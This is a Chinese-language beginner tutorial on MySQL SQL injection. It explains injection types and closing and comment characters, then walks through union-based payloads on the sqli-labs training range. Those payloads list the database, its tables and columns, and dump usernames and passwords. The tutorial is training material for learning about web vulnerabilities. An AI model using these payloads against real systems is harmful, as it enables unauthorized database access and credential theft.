前言
本文简要讲述了SQL注入之Mysql注入,在阅读此文时,确保自己有一点基础,所用到的工具有:
- PHP集成环境:小皮面版
- Hackbar:HackBar 浏览器插件
- SQLMAP:SqlMap下载
- 靶场(建议从网上找搭建教程):sqli-labs
SQL注入是什么
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过传参,达到SQL语句的拼接,从而实现自定义的SQL语句,实现无账号登录,甚至篡改数据库。
如何形成SQL注入
SQL注入的主要原因是应用程序没有正确地验证和过滤用户输入。具体来说,当应用程序接收用户输入并将其直接拼接到SQL查询语句中时,如果没有正确地处理这些输入,攻击者就可以插入恶意的SQL代码,从而执行未经授权的数据库操作。
下图的第12行
,就是一段存在sql注入的问题代码在url中输入。例如http://127.0.0.1/?id=1
,是给参数id
传入了数字1
,从正常业务逻辑来看,语句:select * from bees_1 where id = 1
,是查询在beescms数据库
中的bees_1表
中查询字段id为1
的所有内容
。
但如果在传参的时候,后面填上mysql语句union(联合查询)就能查出其他的内容,例如http://127.0.0.1/?id=1 union select database()
。这时候语句的意思已经被完全改变了:select * from bees_1 where id = 1 union select database()
,除了查询在beescms数据库
中的bees_1表
中查询字段id为1
的所有内容
,还会执行select database();
会执行Mysql的database()函数。
试想一下,如果后面拼接其他的SQL语句,是不是可以把数据库中其他的数据也可以列出来呢?这就是SQL注入的原因以及效果。
SQL注入的类型
- 基于错误的注入(Error-Based Injection):
- 这种类型的注入利用数据库在处理不正确的SQL查询时生成的错误消息。通过观察这些错误消息,攻击者可以获得关于数据库结构和数据的有用信息。
- 基于盲注的注入(Blind Injection):
- 在这种类型的注入中,攻击者不能直接看到数据库的错误消息或结果,但可以通过不断地提出SQL查询来确认或推断出数据库的内容。盲注可以是基于时间的(Time-Based)或基于布尔逻辑的(Boolean-Based)。
- 联合查询注入(Union-Based Injection):
- 联合查询注入利用UNION操作符来合并两个或多个SQL查询的结果。通过这种方式,攻击者可以从数据库中提取信息。
- 堆叠查询注入(Stacked Queries):
- 堆叠查询注入允许攻击者在单个请求中执行多个SQL查询。这允许攻击者执行多个数据库操作,如修改或删除数据。
- 二次注入(Second-Order Injection):
- 在二次注入中,恶意代码被插入到数据库,然后在后续的操作或查询中被执行,而不是直接在初始查询中执行。
- 储存过程/函数注入:
- 如果应用程序使用数据库中的储存过程或函数,攻击者可能会利用这些储存过程或函数中的SQL注入漏洞。
- 布尔盲注:
- 这是基于盲注的一种变体,攻击者通过提出SQL查询并观察应用程序的响应来推断或确认数据库的内容。
SQL注入的相关技巧
什么是注入点
此处演示的靶场是sqli-labs的第一关,以此靶场做演示。注入点
就是可以实行SQL注入的传参点,通常是一个可以传参的GET参数或者POST参数。
进入第一关后,在URL后面加?id=1,即可查询出如图的页面信息。如本页面的URL:192.168.1.102/sqli/less-1/index.php?id=1
,注入点就是id=1
。
注入类型
字符型注入
在注入点传参,使用and 1=1和and 1=2来判断,例如
- http://192.168.1.102/sqli/less-1/index.php?
id=1 and 1=1
- http://192.168.1.102/sqli/less-1/index.php?
id=1 and 1=2
在sqli-labs的第一关提交这两个参数,都能正常显示界面 ,则不可能是数字型注入,说明即为字符型注入。
原理:字符型需要闭合符,在这句PHP语句中$sql="select * from users where id='$id' limit 0,1";
往参数id传参1 and 1=1
,最终形成语句$sql="select * from users where id='1 and 1=1' limit 0,1";
SQL语句恒成立:select * from users where id='1 and 1=1’
数字型注入
使用and 1=1和and 1=2进行传参,其中传参and 1=1网页可以正常显示,而传参and 1=2,网页无法正常显示,判断为数字型注入。
原理:在PHP语句中 $sql="select * from users where id=$id limit 0,1";
往参数id传参1 and 1=2
。最终语句拼接为:$sql="select * from users where id=1 and 1=2 limit 0,1";
SQL语句:select * from users where id=1 and 1=2 limit 0,1
SQL语句不成立,所以网页无法显示结果。
闭合方式
在SQL注入的时候,提交的参数包含SQL语句,在拼接后是一定要符合代码中预定义的SQL语句的,所以需要手工提交闭合符号,以正常结束语句。
在SQL注入中,常见的语句闭合方式为
- ‘
- “
- ‘)
- “)
带入到SQL语句中看一下
select * from users where id='1' and 1=1
select * from users where id="1" and 1=1
select * from users where id=('1') and 1=1
select * from users where id=("1") and 1=1
除了闭合符号外,还需要在末尾添加上注释符号,把某段程序”注释掉”,就是让它暂时不运行(而非删除掉),以结束后面的SQL语句,一般注释符号为
- –+
- %23
带入到SQL语句看一下:select * from users where id='1' and 1=1 %23 limit 0,1
,其中后面的limit 0,1
就失去作用了,从而达到只执行了我们传入的语句 and 1=1
演示注入
在sqli-labs的第一关中,进行实战,在使用union联合注入前要先使用group by或者二分法来先判断有多少字段,在图中所示,传参 id=1'group by 3 --+
,传参后可以正常显示,说明有三个字段,确认为3列。
提交参数 id=-1'union select 1,database(),2 --+
,查询当前数据库名称:security
。
提交参数 id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
,查询security库中的所有数据表
接下来查询users
表中的所有字段,提交参数 id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
接下来查询users
表中,username
和password
字段中的数据,提交参数 id=0' union select 1,group_concat(username,password),3 from users --+
- 最新
- 最热
只看作者